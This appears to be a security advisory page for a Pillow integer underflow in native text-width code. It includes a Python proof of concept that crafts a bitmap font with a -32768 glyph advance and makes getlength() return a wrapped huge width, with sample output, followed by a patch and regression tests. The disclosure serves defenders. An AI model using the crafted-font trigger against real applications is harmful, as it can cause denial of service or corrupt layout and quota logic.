Skip to content

GHSA-4rm8-3hmm-39fg BIT-pillow-2026-96641 CVE-2026-96641 PYSEC-2026-4340

Pillow: Reachable undefined behavior in native integer operations, potentially leading to denial of service or logic integrity compromise

Medium PyPI
Severity
6.5 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.34%
Chance of exploitation in the next 30 days. Higher than 28.02% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-190 Integer Overflow or Wraparound
Fix
13.0.0
Upgrade pillow to this version or later

Description

Summary

Affected Object and Source

Package: Pillow 12.3.0 Source: PyPI sdist pillow-12.3.0.tar.gz SHA-256: 3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce Sink: src/_imaging.c:2809:15, xsize += dx

Details

The code in Pillow 12.3.0 is:

for (xsize = 0; *text; text++) {
    int dx = self->glyphs[*text].dx;
    if (dx > 0 && xsize > INT_MAX - dx) {
        PyErr_SetString(PyExc_OverflowError, "Width too large");
        return -1;
    }
    xsize += dx;
}

The PILfont glyph advance is parsed from a signed 16-bit field, so the valid range for dx is [-32768, 32767]. The existing check only proves: dx > 0 => xsize <= INT_MAX - dx It does not prove the other half of the contract: dx < 0 => xsize >= INT_MIN - dx Taking dx = -32768 and repeating it 65,537 times, the mathematical sum is -2,147,516,416, which is less than INT_MIN = -2,147,483,648. On the 65,537th addition, the operation -2147483648 + -32768 is performed, resulting in C signed overflow undefined behavior.

PoC

"""Minimal public-API reproducer for the Pillow 12.3.0 textwidth underflow.

Run with an ordinary Pillow 12.3.0 build to observe the wrapped width, or with
the PyC-Contract UBSan build to obtain the exact native diagnostic.
"""

from __future__ import annotations

import struct
from io import BytesIO

import PIL
from PIL import Image, ImageFont


ADVANCE = -(2**15)
CONTROL_REPEAT = 65_536
WITNESS_REPEAT = 65_537


def bitmap_font(advance: int) -> ImageFont.ImageFont:
    metrics = bytearray(256 * 20)
    glyph_offset = ord("A") * 20
    metrics[glyph_offset : glyph_offset + 2] = struct.pack(">h", advance)
    font_data = b"PILfont\n;;;;;;1;\nDATA\n" + bytes(metrics)
    font = ImageFont.ImageFont()
    font._load_pilfont_data(BytesIO(font_data), Image.new("1", (1, 1)))
    return font


def main() -> None:
    font = bitmap_font(ADVANCE)
    print(f"Pillow={PIL.__version__}")
    print(f"control_math={ADVANCE * CONTROL_REPEAT}")
    print(f"control_return={font.getlength('A' * CONTROL_REPEAT)}")
    print(f"witness_math={ADVANCE * WITNESS_REPEAT}")
    print(f"witness_return={font.getlength('A' * WITNESS_REPEAT)}")


if __name__ == "__main__":
    main()

Observations from a regular 12.3.0 release build:

Pillow=12.3.0
control_math=-2147483648
control_return=0
witness_math=-2147516416
witness_return=2147450880

The adjacent control uses 65,536 repetitions, producing a mathematical result of exactly INT_MIN, and the function subsequently returns 0 according to existing semantics. Adding just a single character flips the return value to 2,147,450,880.

Impact

The directly confirmed impact is width semantic integrity violation: getlength() and boundary calculations based on getsize() may return a huge positive value, while the true mathematical width is negative. The high-level getmask() typically passes through the decompression-bomb check, which mitigates the risk of direct massive allocation; however, internal font objects and applications that use the width for layout, quotas, serialization, or subsequent allocations may be affected by resource consumption or logic errors.

Therefore, the current recommended severity rating is "Reachable native integer undefined behavior, with potential DoS/logic integrity impact; specific security severity to be confirmed by the upstream threat model", rather than a memory corruption vulnerability.

Recommended Patch and Regression Tests

It is recommended to extend the overflow check to cover both directions:

if ((dx > 0 && xsize > INT_MAX - dx) ||
    (dx < 0 && xsize < INT_MIN - dx)) {
    PyErr_SetString(PyExc_OverflowError, "Width too large");
    return -1;
}

At a minimum, four test cases should be added:

  1. dx = 32767, repeat = 65538 — upper adjacent control (should succeed);
  2. dx = 32767, repeat = 65539 — should raise OverflowError;
  3. dx = -32768, repeat = 65536 — lower adjacent control (should succeed);
  4. dx = -32768, repeat = 65537 — should raise OverflowError.

Additionally, it should be verified that exception propagation is consistent across getlength(), getbbox(), getmask(), and the underlying font.getsize().

Affected versions

PyPI

PackageVulnerableFixed in
pillow
< 13.0.0
13.0.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

pillow PyPI → 13.0.0

pip
pip install --upgrade "pillow>=13.0.0"
poetry
poetry add "pillow>=13.0.0"
uv
uv add "pillow>=13.0.0"

Severity breakdown

CVSS 3.1 6.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-190: Integer Overflow or Wraparound

The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number.

How to prevent it
  • Requirements: Ensure that all protocols are strictly defined, such that all out-of-bounds behavior can be identified simply, and require strict conformance to the protocol.
  • Requirements: Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. If possible, choose a language or compiler that performs automatic bounds checking.
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Use libraries or frameworks that make it easier to handle numbers without unexpected consequences. Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [REF-106]
  • Implementation: Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range. Use unsigned integers where possible. This makes it easier to perform validation for integer overflows. When signed integers are required, ensure that the range check includes minimum values as well as maximum values.
  • Implementation: Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [REF-7] Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
PYSEC-2023-175
Pillow versions before v10.0.1 bundled libwebp binaries in wheels that are vulnerable to CVE-2023-5129 (previously CVE-2023-4863).
High Known exploited Also affects pillow
GHSA-j7hp-h8jx-5ppr
libwebp: OOB write in BuildHuffmanTable
High Known exploited Also affects pillow
GHSA-78g4-xqwv-q3g8
Pillow: Bundled libopenjp2 2.5.4 in all wheels since 11.1.0 carries OSV-2025-219 heap-buffer-overflow write reachable from Image.open().load()
High Also affects pillow
GHSA-654x-cwwv-5j9c
Pillow: Arrow export leaks stale heap memory when PILLOW_ALIGNMENT > 1
Medium Also affects pillow
GHSA-xvh5-g6gv-559v
Pillow: Memory disclosure and segfault in libtiff encoder via crafted TIFF tags
High Also affects pillow
GHSA-g7cr-3p24-7wf7
Pillow: Heap buffer overflow writing JPEG comment after ICC profile fills buffer
High Also affects pillow
GHSA-9v9v-9qvf-h2hj
Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)
High Also affects pillow
GHSA-g4qv-2jxx-769h
Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time
Medium Also affects pillow
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor